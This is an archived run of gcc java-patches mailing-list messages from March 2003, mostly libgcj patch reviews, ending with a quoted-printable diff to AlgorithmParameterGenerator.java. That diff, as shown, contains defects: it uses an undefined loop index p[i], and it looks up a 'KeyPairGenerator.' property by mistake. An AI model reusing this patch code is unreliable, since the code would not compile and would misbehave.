Hans> to check it into both the trunk and 3.3. It should do 4 things: Thanks. I'm still hoping to import the new GC, but it seems less and less likely before 3.3 due to lack of time. This patch was the major thing we wanted from the import. So let's put it in to 3.3 and 3.4. It won't hurt if I'm able to do the import, and it will help a lot of I'm not able. Hans> Question: Is it currently true that GC_dlopen can only be called Hans> from one thread at a time? Yes, we synchronize around ltdl calls. Well, SharedLibLoader isn't synchronized, but that isn't used much and has some bugs anyway. Though this reminds me I need to fix up my big solib: patch to make sure the dlopen is synchronized properly. I put this on my to-do list. Tom From java-patches-return-6329-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 23:59:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1990 invoked by alias); 1 Mar 2003 23:59:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1983 invoked from network); 1 Mar 2003 23:59:50 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 23:59:50 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA15433; Sat, 1 Mar 2003 16:59:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 007224F8610; Sat, 1 Mar 2003 16:51:15 -0700 (MST) To: "Boehm, Hans" Cc: java-patches@gcc.gnu.org Subject: Re: Patch: assert in natObject.cc References: <75A9FEBA25015040A761C1F74975667DA136E3@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: The Korean War must have been fun. Date: 01 Mar 2003 16:51:15 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136E3@hplex4.hpl.hp.com> Message-ID: <87bs0usl1o.fsf@fleche.redhat.com> Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> Looks right to me. I was extremely paranoid about this code, Hans> probably with good reason. But it seems to have enough miles on Hans> it by now that it's appropriate to turn the assertions off. Ok, thanks. I'll only do this on the trunk. Hans> Based on my experience, this doesn't have a huge performance Hans> impact, in part because the tests probably schedule well, and Hans> because the compare-exchange operations are typically so Hans> expensive. That was my experience too. Hans> While we're at it, I attached another patch that has been in my Hans> tree for a while. The substantive part of the change is to Hans> replace a % with an &. Please check it in, thanks. Recently I was looking at the new Thread.holdsLock API. Seems like we'll need a bit more support in natObject.cc to make this work. Something else for the to-do list... Tom From java-patches-return-6330-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:05:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3265 invoked by alias); 2 Mar 2003 00:05:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3258 invoked from network); 2 Mar 2003 00:05:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:05:39 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA16539; Sat, 1 Mar 2003 17:05:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D6E9C4F8610; Sat, 1 Mar 2003 16:57:04 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.dnd References: <200302270831.31355.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I have no actual hairline... Date: 01 Mar 2003 16:57:04 -0700 In-Reply-To: <200302270831.31355.konqueror@gmx.de> Message-ID: <877kbiskrz.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I've written a patch for java.awt.dnd. Please review and comment on Michael> it. This should go into classpath (and 3.3 branch if possible). I scanned this a bit; looks great. I haven't been putting AWT patches into 3.3, since the peers aren't there. Tom From java-patches-return-6331-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:08:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3634 invoked by alias); 2 Mar 2003 00:08:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3627 invoked from network); 2 Mar 2003 00:08:12 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 2 Mar 2003 00:08:12 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h2208Cr16027; Sat, 1 Mar 2003 19:08:12 -0500 Date: Sat, 1 Mar 2003 19:08:12 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: Mark Wielaard , "Boehm, Hans" , "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch In-Reply-To: <87k7fislfg.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 1 Mar 2003, Tom Tromey wrote: > Is this test still valid when we reduce the count? I'd like it to at > least not time out. Really I'd like it to take very little time at > all (unreasonable, I know) Not unreasonable at all. If you use jikes as your source code compiler, this test takes just a couple seconds. So this particular failure really does indicate a deficiency in gcj. Jeff From java-patches-return-6332-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:08:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3811 invoked by alias); 2 Mar 2003 00:08:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3799 invoked from network); 2 Mar 2003 00:08:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:08:32 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA17101; Sat, 1 Mar 2003 17:08:31 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 15AF84F8610; Sat, 1 Mar 2003 16:59:58 -0700 (MST) To: Jason R Thorpe Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [libjava PATCH] Conditionalize use of thread priority scheduling References: <20030228000420.GA12006@yeah-baby.shagadelic.org> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Here I am in the POSTERIOR OLFACTORY LOBULE but I don't see CARL SAGAN anywhere!! Date: 01 Mar 2003 16:59:58 -0700 In-Reply-To: <20030228000420.GA12006@yeah-baby.shagadelic.org> Message-ID: <873cm6skn5.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jason" == Jason R Thorpe writes: Jason> This fixes building libjava on i386-unknown-netbsdelf2.0 (threads Jason> enabled). OK for mainline and 3.3 branch? Jason> * posix-threads.cc: Include if HAVE_UNISTD_H is defined. Jason> (_Jv_ThreadSetPriority): Test for _POSIX_THREAD_PRIORITY_SCHEDULING. Ok, thanks. How well does libgcj do on NetBSD? Tom From java-patches-return-6333-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:13:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5970 invoked by alias); 2 Mar 2003 00:13:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5963 invoked from network); 2 Mar 2003 00:13:29 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:13:29 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA17913; Sat, 1 Mar 2003 17:13:28 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 284334F8610; Sat, 1 Mar 2003 17:04:38 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.net.DatagramSocket References: <200302271329.44727.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Let's all show human CONCERN for REVEREND MOON's legal difficulties!! Date: 01 Mar 2003 17:04:38 -0700 In-Reply-To: <200302271329.44727.konqueror@gmx.de> Message-ID: <87y93yr5ux.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here a patch to fix some things in DatagramSocket. Michael> Please review and comment. Looks good to me; I've put this in 3.3. Michael> catch (UnknownHostException ex) Michael> { Michael> - // FIXME: This should never happen, so how can we avoid this construct? Michael> - return null; Michael> + // FIXME: This should never happen, so how can we avoid this construct? Michael> + return null; We could throw some InternalError here. I'm so-so on that idea. Otherwise, there's nothing to do; we can just remove the FIXME. Tom From java-patches-return-6334-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:16:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6647 invoked by alias); 2 Mar 2003 00:16:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6626 invoked from network); 2 Mar 2003 00:16:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:16:11 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA18400; Sat, 1 Mar 2003 17:16:11 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id DA9174F8610; Sat, 1 Mar 2003 17:07:37 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio.FileChannelImpl - hack - comments appreciated References: <200302281321.26917.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: INSIDE, I have the same personality disorder as LUCY RICARDO!! Date: 01 Mar 2003 17:07:37 -0700 In-Reply-To: <200302281321.26917.konqueror@gmx.de> Message-ID: <87u1emr5py.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I made a little patch to make gnu.java.nio.FileChannelImpl more Michael> working in trunk. Unfortunately it uses an IMO ugly hack: Michael> It uses native methods to access the package private methods from Michael> java.io.FileDescriptor. Is this allowed ? Should it be avoided ? What Michael> should be done ? This is definitely allowed. We already do this with FileDescriptor in java.net; there's even a comment in FileDescriptor explaining that we do it. I know we do it in other cases as well. It is a bit ugly, but not really worse than the alternatives. Tom From java-patches-return-6335-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:27:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11258 invoked by alias); 2 Mar 2003 00:27:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11249 invoked from network); 2 Mar 2003 00:27:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:27:11 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA20199; Sat, 1 Mar 2003 17:27:10 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B76824F8610; Sat, 1 Mar 2003 17:18:37 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: File.toURL() and URLStreamHandler.parseURL() fixes References: <3E58F687.6FE1892E@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'd like some JUNK FOOD... and then I want to be ALONE -- Date: 01 Mar 2003 17:18:37 -0700 In-Reply-To: <3E58F687.6FE1892E@hotmail.com> Message-ID: <87ptpar57m.fsf@fleche.redhat.com> Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> As promised earlier, this is a fuller patch for the URL Ranjit> parsing problems in libgcj w.r.t. Win32. Thanks. Ranjit> After this patch, the output of GCJ matches that of Ranjit> Sun's JDK for a large number of cases, at least on Ranjit> Win98 and with Sun's JDK 1.4.1. Nice, thanks. Any chance of writing some Mauve tests? I'm putting this in 3.3 and the trunk. One question about File.getAbsolutePath(). What if the file name is something like "C:foo"? Does this even make sense? And if so, won't this canonicalize (using the new code) to something like "A:\C:foo", which is incorrect? FYI there is still a POSIX-ism in File.getParent(). This method needs to be Windows-aware, I think. Ranjit> * java/net/URLStreamHandler.java (parseURL): Correct minor typo. Ranjit> Be prepared to handle either '/' or '\\' in the file path for Ranjit> Windows if using the "file" protocol. Ranjit> Canonicalise the file path if using a relative path in the given Ranjit> context and the "file" protocol. I wonder if this fixes PR 9124. Tom From java-patches-return-6336-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 00:27:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11411 invoked by alias); 2 Mar 2003 00:27:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11403 invoked from network); 2 Mar 2003 00:27:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 2 Mar 2003 00:27:18 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA20215; Sat, 1 Mar 2003 17:27:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 445164F8610; Sat, 1 Mar 2003 17:18:45 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Unimplemented functions in natFileWin32.cc References: <3E5D6D8F.C5603015@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Look! A ladder! Maybe it leads to heaven, or a sandwich! Date: 01 Mar 2003 17:18:44 -0700 In-Reply-To: <3E5D6D8F.C5603015@hotmail.com> Message-ID: <87n0ker57f.fsf@fleche.redhat.com> Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch fleshes out the unimplemented portions of Ranjit> "java/io/natFileWin32.cc" so that methods like File.listRoots( ), Ranjit> File.createNewFile( ), etc. start working on Win32. This looks fine. I'm checking it in to 3.3 and 3.4. I didn't really look very closely at the Win32 native bits; instead I'm taking your word for it. (I couldn't meaningfully review those anyway.) Note that your patch was wrapped in a couple places. Something wrong with the mailer? No biggie; I had to edit it a little to get it to apply. Ranjit> + if (plen > 1 && p.charAt (plen - 1) == separatorChar) Ranjit> + if (separatorChar == '\\' && plen == 3 && p.charAt (1) == ':') Ranjit> + ; Ranjit> + else Ranjit> + return p.substring (0, plen - 1); Ranjit> else Ranjit> return p; In a situation like this we prefer braces around the inner `if' statement. Also the empty `;' is weird; it is clearer to invert the condition or to add a new block with a comment explaining what is going on. I rewrote it to this: @@ -96,9 +96,13 @@ if (dupIndex == -1) { - // Ignore trailing separator. - if (plen > 1 && p.charAt(plen - 1) == separatorChar) - return p.substring(0, plen - 1); + // Ignore trailing separator (though on Windows "a:\", for + // example, is a valid and minimal path). + if (plen > 1 && p.charAt (plen - 1) == separatorChar) + { + if (! (separatorChar == '\\' && plen == 3 && p.charAt (1) == ':')) + return p.substring (0, plen - 1); + } else return p; } Tom From java-patches-return-6337-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 06:10:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32707 invoked by alias); 2 Mar 2003 06:10:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32695 invoked from network); 2 Mar 2003 06:10:29 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 06:10:29 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 440B117FFCF for ; Sun, 2 Mar 2003 17:18:22 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.AlgorithmParamterGenerator.java Date: Sun, 2 Mar 2003 17:15:11 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303021715.11260.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn cvs -z9 diff -u ChangeLog (in directory /data/workspace/cvs/gcc/libjava/) Index: ChangeLog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1747 diff -u -r1.1747 ChangeLog --- ChangeLog=092 Mar 2003 01:24:40 -0000=091.1747 +++ ChangeLog=092 Mar 2003 06:06:58 -0000 @@ -1,3 +1,10 @@ +2003-03-02 Raif S. Naffah + +=09* java.security.AlgorithmParameterGenerator: formatting + documentati= on +=09(getInstance(String)): use new getInstance(String, Provider). +=09(getInstance(String, String)): ditto. +=09(getInstance(String, Provider)): new method. + 2003-03-01 Jason Thorpe =20 =09* posix-threads.cc: Include if HAVE_UNISTD_H is defined. @@ -8498,3 +8505,4 @@ =20 =09* libjava/java/lang/ieeefp.h: Define __IEEE_BIG_ENDIAN for =09PPC Darwin, not for all of Darwin. + cvs -z9 diff -u AlgorithmParameterGenerator.java (in directory /data/work= space/cvs/gcc/libjava/java/security/) Index: AlgorithmParameterGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameterGenera= tor.java,v retrieving revision 1.2 diff -u -r1.2 AlgorithmParameterGenerator.java --- AlgorithmParameterGenerator.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ AlgorithmParameterGenerator.java=092 Mar 2003 05:52:01 -0000 @@ -39,13 +39,43 @@ import java.security.spec.AlgorithmParameterSpec; =20 /** - AlgorithmParameterGenerator is used to generate=20 - algorithm parameters for specified algorithms. - This class is used to generate the algorithm parameters - for a specific algorithm. - - @since JDK 1.2 - @author Mark Benvenuto + *

          The AlgorithmParameterGenerator class is used to gene= rate a + * set of parameters to be used with a certain algorithm. Parameter gene= rators + * are constructed using the getInstance() factory methods = (static + * methods that return instances of a given class).

          + * + *

          The object that will generate the parameters can be initialized in= two + * different ways: in an algorithm-independent manner, or in an algorith= m- + * specific manner:

          + * + *
            + *
          • The algorithm-independent approach uses the fact that all p= arameter + * generators share the concept of a "size" and a source of randomnes= s. The + * measure of size is universally shared by all algorithm parameters,= though + * it is interpreted differently for different algorithms. For exampl= e, in + * the case of parameters for the DSA algorithm, "size" corres= ponds to + * the size of the prime modulus (in bits). When using this approach, + * algorithm-specific parameter generation values - if any - default = to some + * standard values, unless they can be derived from the specified siz= e.

          • + * + *
          • The other approach initializes a parameter generator object= using + * algorithm-specific semantics, which are represented by a set of al= gorithm- + * specific parameter generation values. To generate Diffie-Hellman s= ystem + * parameters, for example, the parameter generation values usually c= onsist + * of the size of the prime modulus and the size of the random expone= nt, both + * specified in number of bits.

          • + *
          + * + *

          In case the client does not explicitly initialize the + * AlgorithmParameterGenerator (via a call to an init= () + * method), each provider must supply (and document) a default initializ= ation. + * For example, the Sun provider uses a default modulus prime size of 10= 24 bits + * for the generation of DSA parameters.

          + * + * @author Mark Benvenuto + * @since 1.2 + * @see {@link AlgorithmParameters} + * @see {@link AlgorithmParameterSpec} */ public class AlgorithmParameterGenerator { @@ -54,15 +84,15 @@ private String algorithm; =20 /** - Creates an instance of AlgorithmParameters + Creates an instance of AlgorithmParameters. =20 - @param paramSpi A parameters engine to use - @param provider A provider to use - @param algorithm The algorithm=20 - */ - protected AlgorithmParameterGenerator(AlgorithmParameterGeneratorSpi -=09=09=09=09=09paramGenSpi, Provider provider, -=09=09=09=09=09String algorithm) + @param paramGenSpi A parameters engine to use. + @param provider A provider to use. + @param algorithm The algorithm. + */ + protected + AlgorithmParameterGenerator(AlgorithmParameterGeneratorSpi paramGenSpi= , + Provider provider, String algorithm) { this.paramGenSpi =3D paramGenSpi; this.provider =3D provider; @@ -70,78 +100,117 @@ } =20 /** - Returns the name of the algorithm used + Returns the name of the algorithm used. =20 - @return A string with the name of the algorithm + @return A string with the name of the algorithm. */ public final String getAlgorithm() { return algorithm; } =20 - /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 + /** + Gets an instance of the AlgorithmParameterGenerator class + which generates algorithm parameters for the specified algorithm. If the algorithm is not found then, it throws NoSuchAlgorithmExcept= ion. =20 - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algor= ithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by providers + @param algorithm the name of algorithm to choose. + @return a AlgorithmParameterGenerator repesenting the desired algor= ithm. + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by + providers. */ public static AlgorithmParameterGenerator getInstance(String algorithm= ) throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); - for (int i =3D 0; i < p.length; i++) - { -=09String classname =3D -=09 p[i].getProperty("AlgorithmParameterGenerator." + algorithm); -=09if (classname !=3D null) -=09 return getInstance(classname, algorithm, p[i]); - } + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) {} =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 + /** + Gets an instance of the AlgorithmParameterGenerator class + which generates algorithm parameters for the specified algorithm. If the algorithm is not found then, it throws NoSuchAlgorithmExcept= ion. =20 - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algor= ithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by the provider - @throws NoSuchProviderException if the provider is not found - */ - public static AlgorithmParameterGenerator getInstance(String algorithm= , -=09=09=09=09=09=09=09String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + @param algorithm the name of algorithm to choose. + @param provider the name of the provider to find the algorithm in. + @return a AlgorithmParameterGenerator repesenting the desired algor= ithm. + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by the + provider. + @throws NoSuchProviderException if the provider is not found. + */ + public static AlgorithmParameterGenerator + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p. -=09=09 getProperty("AlgorithmParameterGenerator." + -=09=09=09=09 algorithm), algorithm, p); + return getInstance(algorithm, p); } =20 - private static AlgorithmParameterGenerator getInstance(String classnam= e, -=09=09=09=09=09=09=09 String algorithm, -=09=09=09=09=09=09=09 Provider provider) + /** + * Generates an AlgorithmParameterGenerator object for the requested + * algorithm, as supplied from the specified provider, if such a param= eter + * generator is available from the provider. Note: the provider<= /code> + * doesn't have to be registered. + * + * @param algorithm the string name of the algorithm. + * @param provider the provider. + * @return the new AlgorithmParameterGenerator object. + * @throws NoSuchAlgorithmException if the algorithm is not available = from + * the provider. + * @throws IllegalArgumentException if the provider is null. + * @since 1.4 + * @see Provider + */ + public static AlgorithmParameterGenerator getInstance(String algorithm= , + Provider provide= r) throws NoSuchAlgorithmException { + if (provider =3D=3D null) + throw new IllegalArgumentException(); =20 + // try the name as is + String className =3D provider.getProperty("AlgorithmParameterGenerat= or." + algorithm); + if (className =3D=3D null) // try all uppercase + { + String upper =3D algorithm.toUpperCase(); + className =3D provider.getProperty("KeyPairGenerator." + upper); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D + provider.getProperty("Alg.Alias.AlgorithmParameterGenera= tor." + algorithm); + if (alias =3D=3D null) // try all-uppercase alias name + { + alias =3D provider.getProperty("Alg.Alias.AlgorithmParam= eterGenerator." + upper); + if (alias =3D=3D null) // spit the dummy + throw new NoSuchAlgorithmException(algorithm); + } + className =3D provider.getProperty("AlgorithmParameterGenera= tor." + alias); + if (className =3D=3D null) + throw new NoSuchAlgorithmException(algorithm); + } + } + return getInstance(className, algorithm, provider); + } + + private static AlgorithmParameterGenerator + getInstance(String classname, String algorithm, Provider provider) + throws NoSuchAlgorithmException + { try { -=09return new -=09 AlgorithmParameterGenerator((AlgorithmParameterGeneratorSpi) Class. -=09=09=09=09 forName(classname).newInstance(), -=09=09=09=09 provider, algorithm); +=09return new AlgorithmParameterGenerator( +=09 (AlgorithmParameterGeneratorSpi) Class.forName(classname).newInst= ance(), +=09 provider, algorithm); } catch (ClassNotFoundException cnfe) { @@ -160,7 +229,7 @@ /** Gets the provider that the class is from. =20 - @return the provider of this class + @return the provider of this class. */ public final Provider getProvider() { @@ -172,7 +241,7 @@ size. (Since no source of randomness is supplied, a default one is supplied). =20 - @param size size (in bits) to use + @param size size (in bits) to use. */ public final void init(int size) { @@ -183,8 +252,8 @@ Initializes the Algorithm Parameter Generator with the specified size and source of randomness. =20 - @param size size (in bits) to use - @param random source of randomness to use + @param size size (in bits) to use. + @param random source of randomness to use. */ public final void init(int size, SecureRandom random) { @@ -193,13 +262,13 @@ =20 /** Initializes the Algorithm Parameter Generator with the specified - AlgorithmParameterSpec. (Since no source of randomness is supplied,= =20 + AlgorithmParameterSpec. (Since no source of randomness is supplied, a default one is supplied). =20 - @param genParamSpec the AlgorithmParameterSpec class to use + @param genParamSpec the AlgorithmParameterSpec class to use. */ - public final void init(AlgorithmParameterSpec genParamSpec) throws - InvalidAlgorithmParameterException + public final void init(AlgorithmParameterSpec genParamSpec) + throws InvalidAlgorithmParameterException { init(genParamSpec, new SecureRandom()); } @@ -208,12 +277,11 @@ Initializes the Algorithm Parameter Generator with the specified AlgorithmParameterSpec and source of randomness. =20 - @param genParamSpec the AlgorithmParameterSpec class to use - @param random source of randomness to use + @param genParamSpec the AlgorithmParameterSpec class to use. + @param random source of randomness to use. */ - public final void init(AlgorithmParameterSpec genParamSpec, -=09=09=09 SecureRandom random) throws - InvalidAlgorithmParameterException + public final void init(AlgorithmParameterSpec genParamSpec, SecureRand= om random) + throws InvalidAlgorithmParameterException { paramGenSpi.engineInit(genParamSpec, random); } @@ -221,7 +289,7 @@ /** Generate a new set of AlgorithmParameters. =20 - @returns a new set of algorithm parameters + @return a new set of algorithm parameters. */ public final AlgorithmParameters generateParameters() { From java-patches-return-6338-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 12:43:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24088 invoked by alias); 2 Mar 2003 12:43:09 -0000 Mailing-List: contact 